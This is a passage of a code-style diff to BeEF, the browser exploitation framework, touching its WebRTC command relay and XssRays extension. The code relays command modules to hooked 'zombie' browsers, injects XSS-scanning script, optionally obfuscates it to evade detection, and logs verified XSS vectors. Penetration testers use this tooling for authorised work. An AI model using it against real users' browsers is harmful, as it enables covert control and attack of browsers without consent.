print_error "Invalid JSON: #{e.message}"
|
||||
halt 400
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while executing command (#{e.message})"
|
||||
halt 500
|
||||
result['success'] = false
|
||||
return result.to_json
|
||||
end
|
||||
end
|
||||
|
||||
# Find the module, modify it, send it to be executed on the tohb
|
||||
|
||||
# Validate the command module by ID
|
||||
command_module = BeEF::Core::Models::CommandModule.find(cmdid)
|
||||
error 404 if command_module.nil?
|
||||
error 404 if command_module.path.nil?
|
||||
|
||||
# Get the key of the module based on the ID
|
||||
key = BeEF::Module.get_key_by_database_id(cmdid)
|
||||
error 404 if key.nil?
|
||||
|
||||
# Try to load the module
|
||||
BeEF::Module.hard_load(key)
|
||||
|
||||
# Now the module is hard loaded, find it's object and get it
|
||||
command_module = BeEF::Core::Command.const_get(
|
||||
BeEF::Core::Configuration.instance.get(
|
||||
"beef.module.#{key}.class"
|
||||
)
|
||||
).new(key)
|
||||
|
||||
# Check for command options
|
||||
cmddata = cmdoptions.nil? ? [] : cmdoptions
|
||||
|
||||
# Get path of source JS
|
||||
f = "#{command_module.path}command.js"
|
||||
error 404 unless File.exist? f
|
||||
|
||||
# Read file
|
||||
@eruby = Erubis::FastEruby.new(File.read(f))
|
||||
|
||||
# Parse in the supplied parameters
|
||||
cc = BeEF::Core::CommandContext.new
|
||||
cc['command_url'] = command_module.default_command_url
|
||||
cc['command_id'] = command_module.command_id
|
||||
cmddata.each do |v|
|
||||
cc[v['name']] = v['value']
|
||||
end
|
||||
|
||||
# Evalute supplied options
|
||||
@output = @eruby.evaluate(cc)
|
||||
|
||||
# Gsub the output, replacing all beef.net.send commands
|
||||
# This needs to occur because we want this JS to send messages
|
||||
# back to the peer browser
|
||||
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s|
|
||||
tmpout = "// beef.net.send removed\n"
|
||||
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
|
||||
cmdurl = Regexp.last_match(1).split(',')
|
||||
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
|
||||
tmpout += ") Result: ' + "
|
||||
tmpout += cmdurl[2]
|
||||
tmpout += ');'
|
||||
tmpout
|
||||
end
|
||||
|
||||
# Prepend the B64 version of the string with @
|
||||
# The client JS receives the rtc message, detects the @
|
||||
# and knows to decode it before execution
|
||||
msg = "@#{Base64.strict_encode64(@output)}"
|
||||
|
||||
# Finally queue the message in the RTC queue for submission
|
||||
# from the from browser to the to browser
|
||||
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i, msg)
|
||||
|
||||
result = {}
|
||||
result['success'] = true
|
||||
result.to_json
|
||||
rescue JSON::ParserError => e
|
||||
print_error "Invalid JSON: #{e.message}"
|
||||
halt 400
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while executing command (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/webrtc handler.
|
||||
class InvalidJsonError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/webrtc handler.
|
||||
class InvalidParamError < StandardError
|
||||
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json
|
||||
|
||||
def initialize(message = nil)
|
||||
str = "Invalid \"%s\" parameter passed to /api/webrtc handler"
|
||||
message = sprintf str, message unless message.nil?
|
||||
str = 'Invalid "%s" parameter passed to /api/webrtc handler'
|
||||
message = format str, message unless message.nil?
|
||||
super(message)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,36 +4,36 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Xssrays
|
||||
module RegisterHttpHandler
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
module Extension
|
||||
module Xssrays
|
||||
module RegisterHttpHandler
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
#
|
||||
# Mounts the handlers and REST interface for processing XSS rays
|
||||
#
|
||||
# @param beef_server [BeEF::Core::Server] HTTP server instance
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
# We register the http handler for the requester.
|
||||
# This http handler will retrieve the http responses for all requests
|
||||
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
|
||||
# REST API endpoint
|
||||
beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new)
|
||||
end
|
||||
end
|
||||
#
|
||||
# Mounts the handlers and REST interface for processing XSS rays
|
||||
#
|
||||
# @param beef_server [BeEF::Core::Server] HTTP server instance
|
||||
#
|
||||
def self.mount_handler(beef_server)
|
||||
# We register the http handler for the requester.
|
||||
# This http handler will retrieve the http responses for all requests
|
||||
beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new)
|
||||
# REST API endpoint
|
||||
beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new)
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterPreHookCallback
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
||||
module RegisterPreHookCallback
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
|
||||
|
||||
# checks at every polling if there are new scans to be started
|
||||
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
|
||||
return if hooked_browser.nil?
|
||||
|
||||
# checks at every polling if there are new scans to be started
|
||||
def self.pre_hook_send(hooked_browser, body, params, request, response)
|
||||
if hooked_browser != nil
|
||||
xssrays = BeEF::Extension::Xssrays::API::Scan.new
|
||||
xssrays.start_scan(hooked_browser, body)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,9 +7,7 @@ module BeEF
|
||||
module Extension
|
||||
module Xssrays
|
||||
module API
|
||||
|
||||
class Scan
|
||||
|
||||
include BeEF::Core::Handlers::Modules::BeEFJS
|
||||
|
||||
#
|
||||
@@ -19,15 +17,15 @@ module BeEF
|
||||
@body = body
|
||||
config = BeEF::Core::Configuration.instance
|
||||
hb = BeEF::Core::Models::HookedBrowser.find(hb.id)
|
||||
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
|
||||
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
|
||||
xs = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id, :is_started => false).first
|
||||
# TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
|
||||
# TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
|
||||
xs = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id, is_started: false).first
|
||||
|
||||
# stop here if there are no XssRays scans to be started
|
||||
return if xs == nil || xs.is_started == true
|
||||
return if xs.nil? || xs.is_started == true
|
||||
|
||||
# set the scan as started
|
||||
xs.update(:is_started => true)
|
||||
xs.update(is_started: true)
|
||||
|
||||
# build the beefjs xssrays component
|
||||
|
||||
@@ -38,21 +36,20 @@ module BeEF
|
||||
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
|
||||
# todo antisnatchor: prevent sending "content" multiple times.
|
||||
# TODO: antisnatchor: prevent sending "content" multiple times.
|
||||
# Better leaving it after the first run, and don't send it again.
|
||||
# todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
|
||||
# If we use WebSockets, just reply wih the component contents
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
||||
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
|
||||
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
|
||||
content = File.read(find_beefjs_component_path('beef.net.xssrays')).gsub('//
|
||||
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file \'doc/COPYING\' for copying permission
|
||||
//', "")
|
||||
//', '')
|
||||
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get('beef.extension.evasion.enable')
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
ws.send(evasion.obfuscate(content) + @body, hb.session)
|
||||
else
|
||||
@@ -65,19 +62,18 @@ module BeEF
|
||||
end
|
||||
|
||||
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].")
|
||||
|
||||
end
|
||||
|
||||
def add_to_body(id, session, beefurl, cross_domain, timeout)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
req = %Q{
|
||||
req = %{
|
||||
beef.execute(function() {
|
||||
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout});
|
||||
});
|
||||
}
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get('beef.extension.evasion.enable')
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@body << evasion.obfuscate(req)
|
||||
else
|
||||
|
||||
@@ -4,11 +4,10 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Xssrays
|
||||
|
||||
end
|
||||
end
|
||||
module Extension
|
||||
module Xssrays
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/xssrays/models/xssraysscan'
|
||||
@@ -17,4 +16,3 @@ require 'extensions/xssrays/api/scan'
|
||||
require 'extensions/xssrays/handler'
|
||||
require 'extensions/xssrays/api'
|
||||
require 'extensions/xssrays/rest/xssrays'
|
||||
|
||||
|
||||
@@ -6,9 +6,7 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module Xssrays
|
||||
|
||||
class Handler < BeEF::Core::Router::Router
|
||||
|
||||
XS = BeEF::Core::Models::Xssraysscan
|
||||
XD = BeEF::Core::Models::Xssraysdetail
|
||||
HB = BeEF::Core::Models::HookedBrowser
|
||||
@@ -18,15 +16,15 @@ module BeEF
|
||||
# raise an error if it's null or not found in the DB
|
||||
beef_hook = params[:hbsess] || nil
|
||||
|
||||
if beef_hook.nil? || HB.where(:session => beef_hook).first.nil?
|
||||
print_error "[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database"
|
||||
if beef_hook.nil? || HB.where(session: beef_hook).first.nil?
|
||||
print_error '[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database'
|
||||
return
|
||||
end
|
||||
|
||||
# verify the specified ray ID is valid
|
||||
rays_scan_id = params[:raysid] || nil
|
||||
if rays_scan_id.nil? || !BeEF::Filters::nums_only?(rays_scan_id)
|
||||
print_error "[XSSRAYS] Invalid ray ID"
|
||||
if rays_scan_id.nil? || !BeEF::Filters.nums_only?(rays_scan_id)
|
||||
print_error '[XSSRAYS] Invalid ray ID'
|
||||
return
|
||||
end
|
||||
|
||||
@@ -39,34 +37,33 @@ module BeEF
|
||||
finalize_scan(rays_scan_id)
|
||||
else
|
||||
# invalid action
|
||||
print_error "[XSSRAYS] Invalid action"
|
||||
print_error '[XSSRAYS] Invalid action'
|
||||
return
|
||||
end
|
||||
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST,GET'
|
||||
|
||||
headers 'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST,GET'
|
||||
end
|
||||
|
||||
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
|
||||
def parse_rays(rays_scan_id)
|
||||
xssrays_scan = XS.find(rays_scan_id)
|
||||
hooked_browser = HB.where(:session => params[:hbsess]).first
|
||||
hooked_browser = HB.where(session: params[:hbsess]).first
|
||||
|
||||
if xssrays_scan.nil?
|
||||
print_error "[XSSRAYS] Invalid scan"
|
||||
print_error '[XSSRAYS] Invalid scan'
|
||||
return
|
||||
end
|
||||
|
||||
xssrays_detail = XD.new(
|
||||
:hooked_browser_id => hooked_browser.session,
|
||||
:vector_name => params[:n],
|
||||
:vector_method => params[:m],
|
||||
:vector_poc => params[:p],
|
||||
:xssraysscan_id => xssrays_scan.id
|
||||
hooked_browser_id: hooked_browser.session,
|
||||
vector_name: params[:n],
|
||||
vector_method: params[:m],
|
||||
vector_poc: params[:p],
|
||||
xssraysscan_id: xssrays_scan.id
|
||||
)
|
||||
xssrays_detail.save
|
||||
|
||||
@@ -79,11 +76,11 @@ module BeEF
|
||||
xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id)
|
||||
|
||||
if xssrays_scan.nil?
|
||||
print_error "[XSSRAYS] Invalid scan"
|
||||
print_error '[XSSRAYS] Invalid scan'
|
||||
return
|
||||
end
|
||||
|
||||
xssrays_scan.update(:is_finished => true, :scan_finish => Time.now)
|
||||
xssrays_scan.update(is_finished: true, scan_finish: Time.now)
|
||||
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,16 +4,15 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Store the rays details, basically verified XSS vulnerabilities
|
||||
#
|
||||
class Xssraysdetail < BeEF::Core::Model
|
||||
belongs_to :hooked_browser
|
||||
belongs_to :xssraysscan
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Store the rays details, basically verified XSS vulnerabilities
|
||||
#
|
||||
class Xssraysdetail < BeEF::Core::Model
|
||||
belongs_to :hooked_browser
|
||||
belongs_to :xssraysscan
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,17 +4,14 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Store the XssRays scans started and finished, with relative ID
|
||||
#
|
||||
class Xssraysscan < BeEF::Core::Model
|
||||
|
||||
has_many :xssrays_details
|
||||
|
||||
module Core
|
||||
module Models
|
||||
#
|
||||
# Store the XssRays scans started and finished, with relative ID
|
||||
#
|
||||
class Xssraysscan < BeEF::Core::Model
|
||||
has_many :xssrays_details
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,10 +6,8 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module Xssrays
|
||||
|
||||
# This class handles the routing of RESTful API requests for XSSRays
|
||||
class XssraysRest < BeEF::Core::Router::Router
|
||||
|
||||
# Filters out bad requests before performing any routing
|
||||
before do
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@@ -18,9 +16,9 @@ module BeEF
|
||||
halt 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
|
||||
CLEAN_TIMEOUT = config.get("beef.extension.xssrays.clean_timeout") || 3_000
|
||||
CROSS_DOMAIN = config.get("beef.extension.xssrays.cross_domain") || true
|
||||
|
||||
CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000
|
||||
CROSS_DOMAIN = config.get('beef.extension.xssrays.cross_domain') || true
|
||||
|
||||
HB = BeEF::Core::Models::HookedBrowser
|
||||
XS = BeEF::Core::Models::Xssraysscan
|
||||
XD = BeEF::Core::Models::Xssraysdetail
|
||||
@@ -33,142 +31,133 @@ module BeEF
|
||||
|
||||
# Returns the entire list of rays for all zombies
|
||||
get '/rays' do
|
||||
begin
|
||||
rays = XD.all.distinct.order(:id)
|
||||
count = rays.length
|
||||
rays = XD.all.distinct.order(:id)
|
||||
count = rays.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:rays] = []
|
||||
rays.each do |ray|
|
||||
result[:rays] << ray2hash(ray)
|
||||
end
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving rays (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:rays] = []
|
||||
rays.each do |ray|
|
||||
result[:rays] << ray2hash(ray)
|
||||
end
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving rays (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns all rays given a specific hooked browser id
|
||||
get '/rays/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
rays = XD.where(:hooked_browser_id => id).distinct.order(:id)
|
||||
count = rays.length
|
||||
rays = XD.where(hooked_browser_id: id).distinct.order(:id)
|
||||
count = rays.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:rays] = []
|
||||
rays.each do |ray|
|
||||
result[:rays] << ray2hash(ray)
|
||||
end
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:rays] = []
|
||||
rays.each do |ray|
|
||||
result[:rays] << ray2hash(ray)
|
||||
end
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns the entire list of scans for all zombies
|
||||
get '/scans' do
|
||||
begin
|
||||
scans = XS.distinct.order(:id)
|
||||
count = scans.length
|
||||
scans = XS.distinct.order(:id)
|
||||
count = scans.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:scans] = []
|
||||
scans.each do |scan|
|
||||
result[:scans] << scan2hash(scan)
|
||||
end
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving scans (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:scans] = []
|
||||
scans.each do |scan|
|
||||
result[:scans] << scan2hash(scan)
|
||||
end
|
||||
result.to_json
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving scans (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Returns all scans given a specific hooked browser id
|
||||
get '/scans/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
scans = XS.where(:hooked_browser_id => id).distinct.order(:id)
|
||||
count = scans.length
|
||||
scans = XS.where(hooked_browser_id: id).distinct.order(:id)
|
||||
count = scans.length
|
||||
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:scans] = []
|
||||
scans.each do |scans|
|
||||
result[:scans] << scan2hash(scan)
|
||||
end
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
result = {}
|
||||
result[:count] = count
|
||||
result[:scans] = []
|
||||
scans.each do |_scans|
|
||||
result[:scans] << scan2hash(scan)
|
||||
end
|
||||
result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
# Starts a new scan on the specified zombie ID
|
||||
post '/scan/:id' do
|
||||
begin
|
||||
id = params[:id]
|
||||
id = params[:id]
|
||||
|
||||
hooked_browser = HB.where(:session => id).distinct.order(:id).first
|
||||
hooked_browser = HB.where(session: id).distinct.order(:id).first
|
||||
|
||||
if hooked_browser.nil?
|
||||
print_error "[XSSRAYS] Invalid hooked browser ID"
|
||||
return
|
||||
end
|
||||
|
||||
# set Cross-domain settings
|
||||
cross_domain = params[:cross_domain].to_s
|
||||
if cross_domain == ''
|
||||
cross_domain = CROSS_DOMAIN
|
||||
elsif cross_domain == 'false'
|
||||
cross_domain = false
|
||||
else
|
||||
cross_domain = true
|
||||
end
|
||||
|
||||
# set clean timeout settings
|
||||
clean_timeout = params[:clean_timeout].to_s
|
||||
if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
|
||||
clean_timeout = CLEAN_TIMEOUT
|
||||
end
|
||||
|
||||
xssrays_scan = XS.new(
|
||||
:hooked_browser_id => hooked_browser.id,
|
||||
:scan_start => Time.now,
|
||||
:domain => hooked_browser.domain,
|
||||
# check also cross-domain URIs found by the crawler
|
||||
:cross_domain => cross_domain,
|
||||
# how long to wait before removing the iFrames from the DOM (5000ms default)
|
||||
:clean_timeout => clean_timeout
|
||||
)
|
||||
xssrays_scan.save
|
||||
|
||||
print_info("[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], hooked domain [#{hooked_browser.domain}], cross-domain: #{cross_domain}, clean timeout: #{clean_timeout}")
|
||||
|
||||
result = scan2hash(xssrays_scan)
|
||||
print_debug "[XSSRays] New scan: #{result}"
|
||||
|
||||
#result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
if hooked_browser.nil?
|
||||
print_error '[XSSRAYS] Invalid hooked browser ID'
|
||||
return
|
||||
end
|
||||
|
||||
# set Cross-domain settings
|
||||
cross_domain = params[:cross_domain].to_s
|
||||
cross_domain = if cross_domain == ''
|
||||
CROSS_DOMAIN
|
||||
else
|
||||
cross_domain != 'false'
|
||||
end
|
||||
|
||||
# set clean timeout settings
|
||||
clean_timeout = params[:clean_timeout].to_s
|
||||
clean_timeout = CLEAN_TIMEOUT if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
|
||||
|
||||
xssrays_scan = XS.new(
|
||||
hooked_browser_id: hooked_browser.id,
|
||||
scan_start: Time.now,
|
||||
domain: hooked_browser.domain,
|
||||
# check also cross-domain URIs found by the crawler
|
||||
cross_domain: cross_domain,
|
||||
# how long to wait before removing the iFrames from the DOM (5000ms default)
|
||||
clean_timeout: clean_timeout
|
||||
)
|
||||
xssrays_scan.save
|
||||
|
||||
print_info(
|
||||
"[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], " \
|
||||
"hooked domain [#{hooked_browser.domain}], " \
|
||||
"cross-domain: #{cross_domain}, " \
|
||||
"clean timeout: #{clean_timeout}"
|
||||
)
|
||||
|
||||
result = scan2hash(xssrays_scan)
|
||||
print_debug "[XSSRays] New scan: #{result}"
|
||||
|
||||
# result.to_json
|
||||
rescue InvalidParamError => e
|
||||
print_error e.message
|
||||
halt 400
|
||||
rescue StandardError => e
|
||||
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
|
||||
halt 500
|
||||
end
|
||||
|
||||
private
|
||||
@@ -176,32 +165,32 @@ module BeEF
|
||||
# Convert a ray object to JSON
|
||||
def ray2hash(ray)
|
||||
{
|
||||
:id => ray.id,
|
||||
:hooked_browser_id => ray.hooked_browser_id,
|
||||
:vector_name => ray.vector_name,
|
||||
:vector_method => ray.vector_method,
|
||||
:vector_poc => ray.vector_poc
|
||||
id: ray.id,
|
||||
hooked_browser_id: ray.hooked_browser_id,
|
||||
vector_name: ray.vector_name,
|
||||
vector_method: ray.vector_method,
|
||||
vector_poc: ray.vector_poc
|
||||
}
|
||||
end
|
||||
|
||||
# Convert a scan object to JSON
|
||||
def scan2hash(scan)
|
||||
{
|
||||
:id => scan.id,
|
||||
:hooked_browser_id => scan.hooked_browser_id,
|
||||
:scan_start=> scan.scan_start,
|
||||
:scan_finish=> scan.scan_finish,
|
||||
:domain => scan.domain,
|
||||
:cross_domain => scan.cross_domain,
|
||||
:clean_timeout => scan.clean_timeout,
|
||||
:is_started => scan.is_started,
|
||||
:is_finished => scan.is_finished
|
||||
id: scan.id,
|
||||
hooked_browser_id: scan.hooked_browser_id,
|
||||
scan_start: scan.scan_start,
|
||||
scan_finish: scan.scan_finish,
|
||||
domain: scan.domain,
|
||||
cross_domain: scan.cross_domain,
|
||||
clean_timeout: scan.clean_timeout,
|
||||
is_started: scan.is_started,
|
||||
is_finished: scan.is_finished
|
||||
}
|
||||
end
|
||||
|
||||
# Raised when invalid JSON input is passed to an /api/xssrays handler.
|
||||
class InvalidJsonError < StandardError
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'
|
||||
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'.freeze
|
||||
|
||||
def initialize(message = nil)
|
||||
super(message || DEFAULT_MESSAGE)
|
||||
@@ -210,11 +199,11 @@ module BeEF
|
||||
|
||||
# Raised when an invalid named parameter is passed to an /api/xssrays handler.
|
||||
class InvalidParamError < StandardError
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'
|
||||
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'.freeze
|
||||
|
||||
def initialize(message = nil)
|
||||
str = "Invalid \"%s\" parameter passed to /api/xssrays handler"
|
||||
message = sprintf str, message unless message.nil?
|
||||
str = 'Invalid "%s" parameter passed to /api/xssrays handler'
|
||||
message = format str, message unless message.nil?
|
||||
super(message)
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user